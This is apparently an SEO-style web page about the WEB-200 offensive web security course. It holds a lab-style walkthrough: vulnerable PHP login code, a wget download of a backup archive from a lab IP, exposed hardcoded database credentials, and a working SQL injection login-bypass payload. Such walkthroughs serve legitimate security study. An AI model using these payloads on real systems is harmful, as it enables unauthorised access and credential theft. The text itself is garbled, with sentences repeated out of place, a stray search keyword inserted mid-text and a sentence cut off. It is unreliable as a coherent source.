While theory is important, WEB-200 is heavily practical. The course requires students to write their own scripts to exploit the vulnerabilities they find. This usually involves Python or Bash scripting to automate the attack process, a skill that is crucial for the final exam.
Web applications are primary targets for attackers due to their exposure and role in modern services. "Web-200 offensive security" refers here to advanced offensive techniques targeting web software and services, emphasizing the top ~200 relevant vulnerabilities, tools, and methodologies used by security professionals and adversaries. This paper outlines the landscape, typical exploit classes, offensive tooling, testing methodologies, and defenses.
We inspect login.php source code:
$query = "SELECT * FROM users WHERE username = '" . $_POST['user'] . "' AND password = '...'";
The application constructs the SQL query by directly concatenating user input without sanitization. This confirms an SQL Injection vulnerability. web-200 offensive security pdf
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We download the backup.zip file.
wget http://192.168.1.50/backup.zip
unzip backup.zip
The archive contains the source code for the web application, including config.php and login.php.
Analyzing config.php:
<?php
$dbhost = 'localhost';
$dbuser = 'web_admin';
$dbpass = 'Str0ngP@ssw0rd!';
...
?>
Finding: Hardcoded database credentials discovered. While theory is important, WEB-200 is heavily practical
We attempt to bypass the authentication on the /admin login page.
Payload:
Username: admin' OR '1'='1'-- -
Password: [anything]
Result:
The query becomes SELECT * FROM users WHERE username = 'admin' OR '1'='1'-- -' ....
Since '1'='1' is always true, the database returns the first user record (likely the administrator). We are successfully logged into the Admin Dashboard. The application constructs the SQL query by directly
Open the PDF on one screen and your Kali Linux VM (or Parrot OS) on another. For every code snippet or command in the PDF, type it out manually. Do not copy-paste. Muscle memory matters.